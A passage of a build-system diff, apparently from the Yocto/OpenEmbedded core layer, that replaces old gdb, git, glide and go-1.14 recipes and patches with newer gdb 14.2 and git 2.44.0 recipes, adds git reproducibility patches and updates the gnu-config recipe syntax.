-Signed-off-by: André Draszik <adraszik@tycoint.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdb/gdbsupport/signals-state-save-restore.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gdb/gdbsupport/signals-state-save-restore.c b/gdb/gdbsupport/signals-state-save-restore.c
-index c292d498da..af9dcaeb08 100644
---- a/gdb/gdbsupport/signals-state-save-restore.c
-+++ b/gdb/gdbsupport/signals-state-save-restore.c
-@@ -38,7 +38,7 @@ save_original_signals_state (bool quiet)
- int i;
- int res;
-
-- res = gdb_sigmask (0, NULL, &original_signal_mask);
-+ res = gdb_sigmask (SIG_BLOCK, NULL, &original_signal_mask);
- if (res == -1)
- perror_with_name (("sigprocmask"));
-
diff --git a/meta/recipes-devtools/gdb/gdb/0011-gdbserver-ctrl-c-handling.patch b/meta/recipes-devtools/gdb/gdb/0011-gdbserver-ctrl-c-handling.patch
deleted file mode 100644
index eedd94c4d4..0000000000
--- a/meta/recipes-devtools/gdb/gdb/0011-gdbserver-ctrl-c-handling.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From 3d6700d38153a0ec8e0800de703a5089a8cd3d2d Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 29 Nov 2018 18:00:23 -0800
-Subject: [PATCH] gdbserver ctrl-c handling
-
-This problem was created by the upstream commit 78708b7c8c
-After applying the commit, it will send SIGINT to the process
-group(-signal_pid).
-But if we use gdbserver send SIGINT, and the attached process is not a
-process
-group leader, then the "kill (-signal_pid, SIGINT)" returns error and
-fails to
-interrupt the attached process.
-
-Upstream-Status: Submitted
-[https://sourceware.org/bugzilla/show_bug.cgi?id=18945]
-
-Author: Josh Gao
-Signed-off-by: Zhixiong Chi <zhixiong.chi@windriver.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- gdb/gdbserver/linux-low.c | 4 +---
- 1 file changed, 1 insertion(+), 3 deletions(-)
-
-diff --git a/gdb/gdbserver/linux-low.c b/gdb/gdbserver/linux-low.c
-index 4255795ea6..762f8bafb6 100644
---- a/gdb/gdbserver/linux-low.c
-+++ b/gdb/gdbserver/linux-low.c
-@@ -5904,9 +5904,7 @@ linux_look_up_symbols (void)
- static void
- linux_request_interrupt (void)
- {
-- /* Send a SIGINT to the process group. This acts just like the user
-- typed a ^C on the controlling terminal. */
-- kill (-signal_pid, SIGINT);
-+ kill (signal_pid, SIGINT);
- }
-
- /* Copy LEN bytes from inferior's auxiliary vector starting at OFFSET
diff --git a/meta/recipes-devtools/gdb/gdb_14.2.bb b/meta/recipes-devtools/gdb/gdb_14.2.bb
new file mode 100644
index 0000000000..9c6db4ca2c
--- /dev/null
+++ b/meta/recipes-devtools/gdb/gdb_14.2.bb
@@ -0,0 +1,39 @@
+require gdb-common.inc
+
+inherit gettext pkgconfig
+
+#LDFLAGS:append = " -s"
+#export CFLAGS:append=" -L${STAGING_LIBDIR}"
+
+# cross-canadian must not see this
+PACKAGES =+ "gdbserver"
+FILES:gdbserver = "${bindir}/gdbserver"
+
+require gdb.inc
+
+inherit python3-dir
+
+EXTRA_OEMAKE:append:libc-musl = "\
+ gt_cv_func_gnugettext1_libc=yes \
+ gt_cv_func_gnugettext2_libc=yes \
+ gl_cv_func_working_strerror=yes \
+ gl_cv_func_strerror_0_works=yes \
+ gl_cv_func_gettimeofday_clobber=no \
+ "
+
+do_configure:prepend() {
+ if [ "${@bb.utils.filter('PACKAGECONFIG', 'python', d)}" ]; then
+ cat > ${WORKDIR}/python << EOF
+#!/bin/sh
+case "\$2" in
+ --includes) echo "-I${STAGING_INCDIR}/${PYTHON_DIR}${PYTHON_ABI}/" ;;
+ --ldflags) echo "-Wl,-rpath-link,${STAGING_LIBDIR}/.. -Wl,-rpath,${libdir}/.. -lpthread -ldl -lutil -lm -lpython${PYTHON_BASEVERSION}${PYTHON_ABI}" ;;
+ --exec-prefix) echo "${exec_prefix}" ;;
+ *) exit 1 ;;
+esac
+exit 0
+EOF
+ chmod +x ${WORKDIR}/python
+ fi
+}
+
diff --git a/meta/recipes-devtools/gdb/gdb_9.2.bb b/meta/recipes-devtools/gdb/gdb_9.2.bb
deleted file mode 100644
index d70757a151..0000000000
--- a/meta/recipes-devtools/gdb/gdb_9.2.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-require gdb.inc
-require gdb-${PV}.inc
-
-inherit python3-dir
-
-EXTRA_OEMAKE_append_libc-musl = "\
- gt_cv_func_gnugettext1_libc=yes \
- gt_cv_func_gnugettext2_libc=yes \
- gl_cv_func_working_strerror=yes \
- gl_cv_func_strerror_0_works=yes \
- gl_cv_func_gettimeofday_clobber=no \
- "
-
-do_configure_prepend() {
- if [ "${@bb.utils.filter('PACKAGECONFIG', 'python', d)}" ]; then
- cat > ${WORKDIR}/python << EOF
-#!/bin/sh
-case "\$2" in
- --includes) echo "-I${STAGING_INCDIR}/${PYTHON_DIR}${PYTHON_ABI}/" ;;
- --ldflags) echo "-Wl,-rpath-link,${STAGING_LIBDIR}/.. -Wl,-rpath,${libdir}/.. -lpthread -ldl -lutil -lm -lpython${PYTHON_BASEVERSION}${PYTHON_ABI}" ;;
- --exec-prefix) echo "${exec_prefix}" ;;
- *) exit 1 ;;
-esac
-exit 0
-EOF
- chmod +x ${WORKDIR}/python
- fi
-}
diff --git a/meta/recipes-devtools/git/git.inc b/meta/recipes-devtools/git/git.inc
deleted file mode 100644
index 544e23c844..0000000000
--- a/meta/recipes-devtools/git/git.inc
+++ /dev/null
@@ -1,137 +0,0 @@
-SUMMARY = "Distributed version control system"
-HOMEPAGE = "http://git-scm.com"
-SECTION = "console/utils"
-LICENSE = "GPLv2"
-DEPENDS = "openssl curl zlib expat"
-
-PROVIDES_append_class-native = " git-replacement-native"
-
-SRC_URI = "${KERNELORG_MIRROR}/software/scm/git/git-${PV}.tar.gz;name=tarball \
- ${KERNELORG_MIRROR}/software/scm/git/git-manpages-${PV}.tar.gz;name=manpages"
-
-S = "${WORKDIR}/git-${PV}"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=7c0d7ef03a7eb04ce795b0f60e68e7e1"
-
-CVE_PRODUCT = "git-scm:git"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[cvsserver] = ""
-PACKAGECONFIG[svn] = ""
-
-EXTRA_OECONF = "--with-perl=${STAGING_BINDIR_NATIVE}/perl-native/perl \
- --without-tcltk \
- --without-iconv \
-"
-EXTRA_OECONF_append_class-nativesdk = " --with-gitconfig=/etc/gitconfig "
-
-# Needs brokensep as this doesn't use automake
-inherit autotools-brokensep perlnative bash-completion
-
-EXTRA_OEMAKE = "NO_PYTHON=1 CFLAGS='${CFLAGS}' LDFLAGS='${LDFLAGS}'"
-EXTRA_OEMAKE += "'PERL_PATH=/usr/bin/env perl'"
-EXTRA_OEMAKE_append_class-native = " NO_CROSS_DIRECTORY_HARDLINKS=1"
-
-do_compile_prepend () {
- # Remove perl/perl.mak to fix the out-of-date perl.mak error
- # during rebuild
- rm -f perl/perl.mak
-}
-
-do_install () {
- oe_runmake install DESTDIR="${D}" bindir=${bindir} \
- template_dir=${datadir}/git-core/templates
-
- for section in man1 man5 man7; do
- install -d ${D}/${mandir}/$section
- install -t ${D}/${mandir}/$section ${WORKDIR}/$section/*
- done
-
- install -d ${D}/${datadir}/bash-completion/completions/
- install -m 644 ${S}/contrib/completion/git-completion.bash ${D}/${datadir}/bash-completion/completions/git
-}
-
-perl_native_fixup () {
- sed -i -e 's#${STAGING_BINDIR_NATIVE}/perl-native/#${bindir}/#' \
- -e 's#${libdir}/perl-native/#${libdir}/#' \
- ${@d.getVar("PERLTOOLS").replace(' /',d.getVar('D') + '/')}
-
- if [ ! "${@bb.utils.filter('PACKAGECONFIG', 'cvsserver', d)}" ]; then
- # Only install the git cvsserver command if explicitly requested
- # as it requires the DBI Perl module, which does not exist in
- # OE-Core.
- rm ${D}${libexecdir}/git-core/git-cvsserver \
- ${D}${bindir}/git-cvsserver
- fi
-
- if [ ! "${@bb.utils.filter('PACKAGECONFIG', 'svn', d)}" ]; then
- # Only install the git svn command and all Git::SVN Perl modules
- # if explicitly requested as they require the SVN::Core Perl
- # module, which does not exist in OE-Core.
- rm -r ${D}${libexecdir}/git-core/git-svn \
- ${D}${datadir}/perl5/Git/SVN*
- fi
-}
-
-REL_GIT_EXEC_PATH = "${@os.path.relpath(libexecdir, bindir)}/git-core"
-REL_GIT_TEMPLATE_DIR = "${@os.path.relpath(datadir, bindir)}/git-core/templates"
-
-do_install_append_class-target () {
- perl_native_fixup
-}
-
-do_install_append_class-native() {
- create_wrapper ${D}${bindir}/git \
- GIT_EXEC_PATH='`dirname $''realpath`'/${REL_GIT_EXEC_PATH} \
- GIT_TEMPLATE_DIR='`dirname $''realpath`'/${REL_GIT_TEMPLATE_DIR}
-}
-
-do_install_append_class-nativesdk() {
- create_wrapper ${D}${bindir}/git \
- GIT_EXEC_PATH='`dirname $''realpath`'/${REL_GIT_EXEC_PATH} \
- GIT_TEMPLATE_DIR='`dirname $''realpath`'/${REL_GIT_TEMPLATE_DIR}
- perl_native_fixup
-}
-
-FILES_${PN} += "${datadir}/git-core ${libexecdir}/git-core/"
-
-PERLTOOLS = " \
- ${bindir}/git-cvsserver \
- ${libexecdir}/git-core/git-add--interactive \
- ${libexecdir}/git-core/git-archimport \
- ${libexecdir}/git-core/git-cvsexportcommit \
- ${libexecdir}/git-core/git-cvsimport \
- ${libexecdir}/git-core/git-cvsserver \
- ${libexecdir}/git-core/git-send-email \
- ${libexecdir}/git-core/git-svn \
- ${libexecdir}/git-core/git-instaweb \
- ${datadir}/gitweb/gitweb.cgi \
- ${datadir}/git-core/templates/hooks/prepare-commit-msg.sample \
- ${datadir}/git-core/templates/hooks/pre-rebase.sample \
- ${datadir}/git-core/templates/hooks/fsmonitor-watchman.sample \
-"
-
-# Git tools requiring perl
-PACKAGES =+ "${PN}-perltools"
-FILES_${PN}-perltools += " \
- ${PERLTOOLS} \
- ${libdir}/perl \
- ${datadir}/perl5 \
-"
-
-RDEPENDS_${PN}-perltools = "${PN} perl perl-module-file-path findutils"
-
-# git-tk package with gitk and git-gui
-PACKAGES =+ "${PN}-tk"
-#RDEPENDS_${PN}-tk = "${PN} tk tcl"
-#EXTRA_OEMAKE = "TCL_PATH=${STAGING_BINDIR_CROSS}/tclsh"
-FILES_${PN}-tk = " \
- ${bindir}/gitk \
- ${datadir}/gitk \
-"
-
-PACKAGES =+ "gitweb"
-FILES_gitweb = "${datadir}/gitweb/"
-RDEPENDS_gitweb = "perl"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/git/git/0001-config.mak.uname-do-not-force-RHEL-7-specific-build-.patch b/meta/recipes-devtools/git/git/0001-config.mak.uname-do-not-force-RHEL-7-specific-build-.patch
new file mode 100644
index 0000000000..d80d082ba3
--- /dev/null
+++ b/meta/recipes-devtools/git/git/0001-config.mak.uname-do-not-force-RHEL-7-specific-build-.patch
@@ -0,0 +1,30 @@
+From c0c5241abdc113acbe6bcd960686cea414bce357 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 7 Feb 2022 10:13:15 +0100
+Subject: [PATCH] config.mak.uname: do not force RHEL-7 specific build settings
+
+This breaks reproducibility as git builds on centos 7 use
+different flags than git builds on other host distros.
+
+Upstream-Status: Inappropriate [upstream needs to check compiler and component versions properly]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ config.mak.uname | 4 ----
+ 1 file changed, 4 deletions(-)
+
+diff --git a/config.mak.uname b/config.mak.uname
+index 259d151..136ae3b 100644
+--- a/config.mak.uname
++++ b/config.mak.uname
+@@ -64,10 +64,6 @@ ifeq ($(uname_S),Linux)
+ PROCFS_EXECUTABLE_PATH = /proc/self/exe
+ HAVE_PLATFORM_PROCINFO = YesPlease
+ COMPAT_OBJS += compat/linux/procinfo.o
+- # centos7/rhel7 provides gcc 4.8.5 and zlib 1.2.7.
+- ifneq ($(findstring .el7.,$(uname_R)),)
+- BASIC_CFLAGS += -std=c99
+- endif
+ endif
+ ifeq ($(uname_S),GNU/kFreeBSD)
+ HAVE_ALLOCA_H = YesPlease
diff --git a/meta/recipes-devtools/git/git/fixsort.patch b/meta/recipes-devtools/git/git/fixsort.patch
new file mode 100644
index 0000000000..07a487e8ca
--- /dev/null
+++ b/meta/recipes-devtools/git/git/fixsort.patch
@@ -0,0 +1,31 @@
+[PATCH] generate-configlist.sh: Fix determinism issue
+
+Currently git binaries are not entirely reproducible, at least partly
+due to config-list.h differing in order depending on the system's
+locale settings. Under different locales, the entries:
+
+"sendemail.identity",
+"sendemail.<identity>.*",
+
+would differ in order for example and this leads to differences in
+the debug symbols for the binaries.
+
+This can be fixed by specifying the C locale for the sort in the
+shell script generating the header.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Upstream-Status: Submitted [https://public-inbox.org/git/f029a942dd3d50d85e60bd37d8e454524987842f.camel@linuxfoundation.org/T/#u]
+
+Index: git-2.30.0/generate-configlist.sh
+===================================================================
+--- git-2.30.0.orig/generate-configlist.sh
++++ git-2.30.0/generate-configlist.sh
+@@ -9,7 +9,7 @@ static const char *config_name_list[] =
+ EOF
+ grep -h '^[a-zA-Z].*\..*::$' Documentation/*config.txt Documentation/config/*.txt |
+ sed '/deprecated/d; s/::$//; s/, */\n/g' |
+- sort |
++ LC_ALL=C sort |
+ sed 's/^.*$/ "&",/'
+ cat <<EOF
+ NULL,
diff --git a/meta/recipes-devtools/git/git_2.28.0.bb b/meta/recipes-devtools/git/git_2.28.0.bb
deleted file mode 100644
index e90787d060..0000000000
--- a/meta/recipes-devtools/git/git_2.28.0.bb
+++ /dev/null
@@ -1,9 +0,0 @@
-require git.inc
-
-EXTRA_OECONF += "ac_cv_snprintf_returns_bogus=no \
- ac_cv_fread_reads_directories=${ac_cv_fread_reads_directories=yes} \
- "
-EXTRA_OEMAKE += "NO_GETTEXT=1"
-
-SRC_URI[tarball.sha256sum] = "f914c60a874d466c1e18467c864a910dd4ea22281ba6d4d58077cb0c3f115170"
-SRC_URI[manpages.sha256sum] = "3cfca28a88d5b8112ea42322b797a500a14d0acddea391aed0462aff1ab11bf7"
diff --git a/meta/recipes-devtools/git/git_2.44.0.bb b/meta/recipes-devtools/git/git_2.44.0.bb
new file mode 100644
index 0000000000..90e555eba7
--- /dev/null
+++ b/meta/recipes-devtools/git/git_2.44.0.bb
@@ -0,0 +1,166 @@
+SUMMARY = "Distributed version control system"
+HOMEPAGE = "http://git-scm.com"
+DESCRIPTION = "Git is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency."
+SECTION = "console/utils"
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later & BSD-3-Clause & MIT & BSL-1.0 & LGPL-2.1-or-later"
+DEPENDS = "openssl zlib"
+DEPENDS:class-native += "ca-certificates"
+
+PROVIDES:append:class-native = " git-replacement-native"
+
+SRC_URI = "${KERNELORG_MIRROR}/software/scm/git/git-${PV}.tar.gz;name=tarball \
+ file://fixsort.patch \
+ file://0001-config.mak.uname-do-not-force-RHEL-7-specific-build-.patch \
+ "
+
+S = "${WORKDIR}/git-${PV}"
+
+LIC_FILES_CHKSUM = "\
+ file://COPYING;md5=7c0d7ef03a7eb04ce795b0f60e68e7e1 \
+ file://reftable/LICENSE;md5=1a6424cafc4c9c88c689848e165af33b \
+ file://sha1dc/LICENSE.txt;md5=9bbe4c990a9e98ea4b98ef5d3bcb8a7a \
+ file://compat/nedmalloc/License.txt;md5=e4224ccaecb14d942c71d31bef20d78c \
+ file://compat/inet_ntop.c;md5=76593c6f74e8ced5b24520175688d59b;endline=16 \
+ file://compat/obstack.h;md5=08ad25fee5428cd879ceef451ce3a22e;endline=18 \
+ file://compat/poll/poll.h;md5=9fc00170a53b8e3e52157c91ac688dd1;endline=19 \
+ file://compat/regex/regex.h;md5=30cc8af0e6f0f8a25acec6d8783bb763;beginline=4;endline=22 \
+"
+
+CVE_PRODUCT = "git-scm:git"
+
+PACKAGECONFIG ??= "expat curl"
+PACKAGECONFIG[cvsserver] = ""
+PACKAGECONFIG[svn] = ""
+PACKAGECONFIG[manpages] = ",,asciidoc-native xmlto-native"
+PACKAGECONFIG[curl] = "--with-curl,--without-curl,curl"
+PACKAGECONFIG[expat] = "--with-expat,--without-expat,expat"
+
+EXTRA_OECONF = "--with-perl=${STAGING_BINDIR_NATIVE}/perl-native/perl \
+ --without-tcltk \
+ --without-iconv \
+"
+EXTRA_OECONF:append:class-nativesdk = " --with-gitconfig=/etc/gitconfig "
+
+# Needs brokensep as this doesn't use automake
+inherit autotools-brokensep perlnative bash-completion manpages
+
+EXTRA_OEMAKE = "NO_PYTHON=1 CFLAGS='${CFLAGS}' LDFLAGS='${LDFLAGS}'"
+EXTRA_OEMAKE += "'PERL_PATH=/usr/bin/env perl'"
+EXTRA_OEMAKE += "COMPUTE_HEADER_DEPENDENCIES=no"
+EXTRA_OEMAKE:append:class-native = " NO_CROSS_DIRECTORY_HARDLINKS=1"
+
+do_compile:prepend () {
+ # Remove perl/perl.mak to fix the out-of-date perl.mak error
+ # during rebuild
+ rm -f perl/perl.mak
+
+ if [ "${@bb.utils.filter('PACKAGECONFIG', 'manpages', d)}" ]; then
+ oe_runmake man
+ fi
+}
+
+do_install () {
+ oe_runmake install DESTDIR="${D}" bindir=${bindir} \
+ template_dir=${datadir}/git-core/templates
+
+ install -d ${D}/${datadir}/bash-completion/completions/
+ install -m 644 ${S}/contrib/completion/git-completion.bash ${D}/${datadir}/bash-completion/completions/git
+
+ if [ "${@bb.utils.filter('PACKAGECONFIG', 'manpages', d)}" ]; then
+ # Needs to be serial with make 4.4 due to https://savannah.gnu.org/bugs/index.php?63362
+ make install-man DESTDIR="${D}"
+ fi
+}
+
+perl_native_fixup () {
+ sed -i -e 's#${STAGING_BINDIR_NATIVE}/perl-native/#${bindir}/#' \
+ -e 's#${libdir}/perl-native/#${libdir}/#' \
+ ${@d.getVar("PERLTOOLS").replace(' /',d.getVar('D') + '/')}
+
+ if [ ! "${@bb.utils.filter('PACKAGECONFIG', 'cvsserver', d)}" ]; then
+ # Only install the git cvsserver command if explicitly requested
+ # as it requires the DBI Perl module, which does not exist in
+ # OE-Core.
+ rm ${D}${libexecdir}/git-core/git-cvsserver \
+ ${D}${bindir}/git-cvsserver
+ fi
+
+ if [ ! "${@bb.utils.filter('PACKAGECONFIG', 'svn', d)}" ]; then
+ # Only install the git svn command and all Git::SVN Perl modules
+ # if explicitly requested as they require the SVN::Core Perl
+ # module, which does not exist in OE-Core.
+ rm -r ${D}${libexecdir}/git-core/git-svn \
+ ${D}${datadir}/perl5/Git/SVN*
+ fi
+}
+
+REL_GIT_EXEC_PATH = "${@os.path.relpath(libexecdir, bindir)}/git-core"
+REL_GIT_TEMPLATE_DIR = "${@os.path.relpath(datadir, bindir)}/git-core/templates"
+REL_GIT_SSL_CAINFO = "${@os.path.relpath(sysconfdir, bindir)}/ssl/certs/ca-certificates.crt"
+
+do_install:append:class-target () {
+ perl_native_fixup
+}
+
+do_install:append:class-native() {
+ create_wrapper ${D}${bindir}/git \
+ GIT_EXEC_PATH='`dirname $''realpath`'/${REL_GIT_EXEC_PATH} \
+ GIT_SSL_CAINFO='`dirname $''realpath`'/${REL_GIT_SSL_CAINFO} \
+ GIT_TEMPLATE_DIR='`dirname $''realpath`'/${REL_GIT_TEMPLATE_DIR}
+}
+
+do_install:append:class-nativesdk() {
+ create_wrapper ${D}${bindir}/git \
+ GIT_EXEC_PATH='`dirname $''realpath`'/${REL_GIT_EXEC_PATH} \
+ GIT_TEMPLATE_DIR='`dirname $''realpath`'/${REL_GIT_TEMPLATE_DIR}
+ perl_native_fixup
+}
+
+FILES:${PN} += "${datadir}/git-core ${libexecdir}/git-core/"
+
+PERLTOOLS = " \
+ ${bindir}/git-cvsserver \
+ ${libexecdir}/git-core/git-archimport \
+ ${libexecdir}/git-core/git-cvsexportcommit \
+ ${libexecdir}/git-core/git-cvsimport \
+ ${libexecdir}/git-core/git-cvsserver \
+ ${libexecdir}/git-core/git-send-email \
+ ${libexecdir}/git-core/git-svn \
+ ${libexecdir}/git-core/git-instaweb \
+ ${datadir}/gitweb/gitweb.cgi \
+ ${datadir}/git-core/templates/hooks/prepare-commit-msg.sample \
+ ${datadir}/git-core/templates/hooks/pre-rebase.sample \
+ ${datadir}/git-core/templates/hooks/fsmonitor-watchman.sample \
+"
+
+# Git tools requiring perl
+PACKAGES =+ "${PN}-perltools"
+FILES:${PN}-perltools += " \
+ ${PERLTOOLS} \
+ ${libdir}/perl \
+ ${datadir}/perl5 \
+"
+
+RDEPENDS:${PN}-perltools = "${PN} perl perl-module-file-path findutils"
+
+# git-tk package with gitk and git-gui
+PACKAGES =+ "${PN}-tk"
+#RDEPENDS:${PN}-tk = "${PN} tk tcl"
+#EXTRA_OEMAKE = "TCL_PATH=${STAGING_BINDIR_CROSS}/tclsh"
+FILES:${PN}-tk = " \
+ ${bindir}/gitk \
+ ${datadir}/gitk \
+"
+
+PACKAGES =+ "gitweb"
+FILES:gitweb = "${datadir}/gitweb/"
+RDEPENDS:gitweb = "perl"
+
+BBCLASSEXTEND = "native nativesdk"
+
+EXTRA_OECONF += "ac_cv_snprintf_returns_bogus=no \
+ ac_cv_fread_reads_directories=${ac_cv_fread_reads_directories=yes} \
+ "
+EXTRA_OEMAKE += "NO_GETTEXT=1"
+
+SRC_URI[tarball.sha256sum] = "f9e36f085458fe9688fbbe7846b8c4770b13d161fcd8953655f36b2b85f06b76"
diff --git a/meta/recipes-devtools/glide/glide_0.13.3.bb b/meta/recipes-devtools/glide/glide_0.13.3.bb
deleted file mode 100644
index 31295edf90..0000000000
--- a/meta/recipes-devtools/glide/glide_0.13.3.bb
+++ /dev/null
@@ -1,42 +0,0 @@
-SUMMARY = "Vendor Package Management for Golang"
-HOMEPAGE = "https://glide.sh"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://src/${GO_IMPORT}/LICENSE;md5=54905cf894f8cc416a92f4fc350c35b2"
-
-GO_IMPORT = "github.com/Masterminds/glide"
-SRC_URI = "git://${GO_IMPORT}"
-SRCREV = "8ed5b9292379d86c39592a7e6a58eb9c903877cf"
-
-inherit go
-
-# New Go versions has Go modules support enabled by default and cause the Glide
-# tool build to fail.
-export GO111MODULE = "off"
-
-RDEPENDS_${PN}-dev += "bash"
-RDEPENDS_${PN}-ptest += "bash"
-
-BBCLASSEXTEND = "native nativesdk"
-
-# for x86 ends with textrel in ${PN}
-# http://errors.yoctoproject.org/Errors/Details/185631/
-# ERROR: QA Issue: ELF binary '/work/i586-oe-linux/glide/0.13.1-r0/packages-split/glide/usr/bin/glide' has relocations in .text [textrel]
-INSANE_SKIP_${PN} += "textrel"
-
-# for aarch64 ends with textrel in ${PN}-ptest
-# http://errors.yoctoproject.org/Errors/Details/185633/
-# ERROR: QA Issue: ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/glide.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/dependency/dependency.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/repo/repo.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/mirrors/mirrors.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/cfg/cfg.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/godep/strip/strip.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/path/path.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/tree/tree.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/util/util.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/action/action.test' has relocations in .text
-# ELF binary '/work/aarch64-oe-linux/glide/0.13.1-r0/packages-split/glide-ptest/usr/lib/glide/ptest/github.com/Masterminds/glide/cache/cache.test' has relocations in .text [textrel]
-INSANE_SKIP_${PN}-ptest += "textrel"
-
-# fails to run task compile_ptest_base on mips
-PTEST_ENABLED_mipsarch = "0"
diff --git a/meta/recipes-devtools/gnu-config/gnu-config_git.bb b/meta/recipes-devtools/gnu-config/gnu-config_git.bb
index 200b1f1856..f9d864b987 100644
--- a/meta/recipes-devtools/gnu-config/gnu-config_git.bb
+++ b/meta/recipes-devtools/gnu-config/gnu-config_git.bb
@@ -1,17 +1,18 @@
SUMMARY = "gnu-configize"
DESCRIPTION = "Tool that installs the GNU config.guess / config.sub into a directory tree"
+HOMEPAGE = "https://git.savannah.gnu.org/cgit/config.git"
SECTION = "devel"
LICENSE = "GPL-3.0-with-autoconf-exception"
-LIC_FILES_CHKSUM = "file://config.guess;beginline=7;endline=27;md5=b75d42f59f706ea56d6a8e00216fca6a"
+LIC_FILES_CHKSUM = "file://config.guess;beginline=9;endline=29;md5=10922f9231863a06f6efb67691fa46e0"
-DEPENDS_class-native = "hostperl-runtime-native"
+DEPENDS:class-native = "hostperl-runtime-native"
INHIBIT_DEFAULT_DEPS = "1"
-SRCREV = "2593751ef276497e312d7c4ce7fd049614c7bf80"
-PV = "20200721+git${SRCPV}"
+SRCREV = "948ae97ca5703224bd3eada06b7a69f40dd15a02"
+PV = "20240101+git"
-SRC_URI = "git://git.savannah.gnu.org/config.git \
+SRC_URI = "git://git.savannah.gnu.org/git/config.git;protocol=https;branch=master \
file://gnu-configize.in"
S = "${WORKDIR}/git"
UPSTREAM_CHECK_COMMITS = "1"
@@ -35,6 +36,6 @@ do_install () {
}
PACKAGES = "${PN}"
-FILES_${PN} = "${bindir} ${datadir}/gnu-config"
+FILES:${PN} = "${bindir} ${datadir}/gnu-config"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/go/go-1.14.inc b/meta/recipes-devtools/go/go-1.14.inc
deleted file mode 100644
index 64c2768f7e..0000000000
--- a/meta/recipes-devtools/go/go-1.14.inc
+++ /dev/null
@@ -1,21 +0,0 @@
-require go-common.inc
-
-GO_BASEVERSION = "1.14"
-GO_MINOR = ".6"
-PV .= "${GO_MINOR}"
-FILESEXTRAPATHS_prepend := "${FILE_DIRNAME}/go-${GO_BASEVERSION}:"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707"
-
-SRC_URI += "\
- file://0001-allow-CC-and-CXX-to-have-multiple-words.patch \
- file://0002-cmd-go-make-content-based-hash-generation-less-pedan.patch \
- file://0003-allow-GOTOOLDIR-to-be-overridden-in-the-environment.patch \
- file://0004-ld-add-soname-to-shareable-objects.patch \
- file://0005-make.bash-override-CC-when-building-dist-and-go_boot.patch \
- file://0006-cmd-dist-separate-host-and-target-builds.patch \
- file://0007-cmd-go-make-GOROOT-precious-by-default.patch \
- file://0008-use-GOBUILDMODE-to-set-buildmode.patch \
-"
-SRC_URI_append_libc-musl = " file://0009-ld-replace-glibc-dynamic-linker-with-musl.patch"
-SRC_URI[main.sha256sum] = "73fc9d781815d411928eccb92bf20d5b4264797be69410eac854babe44c94c09"
diff --git a/meta/recipes-devtools/go/go-1.14/0001-allow-CC-and-CXX-to-have-multiple-words.patch b/meta/recipes-devtools/go/go-1.14/0001-allow-CC-and-CXX-to-have-multiple-words.patch
deleted file mode 100644
index d47664d8e2..0000000000
--- a/meta/recipes-devtools/go/go-1.14/0001-allow-CC-and-CXX-to-have-multiple-words.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From 9e3dc44cdfa58d96504d0a789dc82617dd5bef55 Mon Sep 17 00:00:00 2001
-From: Alex Kube <alexander.j.kube@gmail.com>
-Date: Wed, 23 Oct 2019 21:01:13 +0430
-Subject: [PATCH 1/9] cmd/go: Allow CC and CXX to have multiple words
-
-Upstream-Status: Inappropriate [OE specific]
-
-Adapted to Go 1.13 from patches originally submitted to
-the meta/recipes-devtools/go tree by
-Matt Madison <matt@madison.systems>.
-
-Signed-off-by: Alexander J Kube <alexander.j.kube@gmail.com>
-
----
- src/cmd/go/internal/envcmd/env.go | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
---- a/src/cmd/go/internal/envcmd/env.go
-+++ b/src/cmd/go/internal/envcmd/env.go
-@@ -102,11 +102,11 @@ func MkEnv() []cfg.EnvVar {
-
- cc := cfg.DefaultCC(cfg.Goos, cfg.Goarch)
- if env := strings.Fields(cfg.Getenv("CC")); len(env) > 0 {
-- cc = env[0]
-+ cc = strings.Join(env, " ")
- }
- cxx := cfg.DefaultCXX(cfg.Goos, cfg.Goarch)
- if env := strings.Fields(cfg.Getenv("CXX")); len(env) > 0 {
-- cxx = env[0]
-+ cxx = strings.Join(env, " ")
- }
- env = append(env, cfg.EnvVar{Name: "AR", Value: envOr("AR", "ar")})
